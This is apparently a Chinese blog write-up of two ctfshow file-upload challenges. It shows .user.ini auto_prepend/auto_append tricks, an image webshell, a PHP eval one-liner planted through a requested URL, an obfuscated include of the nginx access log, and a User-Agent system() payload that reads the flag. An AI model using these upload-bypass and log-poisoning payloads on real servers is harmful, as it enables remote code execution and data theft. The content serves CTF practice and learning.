就记录一些我以前没见过的,简单的懒得记了。。。

153

考察.user.ini
这里用到auto_append_fileauto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
相当于在要执行的php文件(如index.php)中包含了我们指定的文件(图片马)
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有同目录下有php文件才可以。
对于这个题,因为他upload目录下有个index.php所以这种方式是可以成功的。
首先上传图片马(1.png),然后上传.user.ini文件,内容为auto_prepend_file=1.png
最后访问/upload/index.php/upload

请输入图片描述

160

要用到日志包含,以前没做过,第一次接触
服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),日志文件会记录下我们的操作,并且写到访问日志文件access.log之中
当我们访问不存在目录时,例如:http://ctfshow/<?php eval($_POST[1]);?>
它会将错误路径保存在日志中,这时日志中就已经包含了一句话木马
回到本题,先上传图片(123.png),内容为<?=include"/var/lo"."g/nginx/access.lo"."g"?>,
然后上传.user.ini,内容为auto_append_file=123.png
再抓包,将User-Agent的值改为<?php system('tac ../f*');?>

请输入图片描述

最后访问/upload

请输入图片描述

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏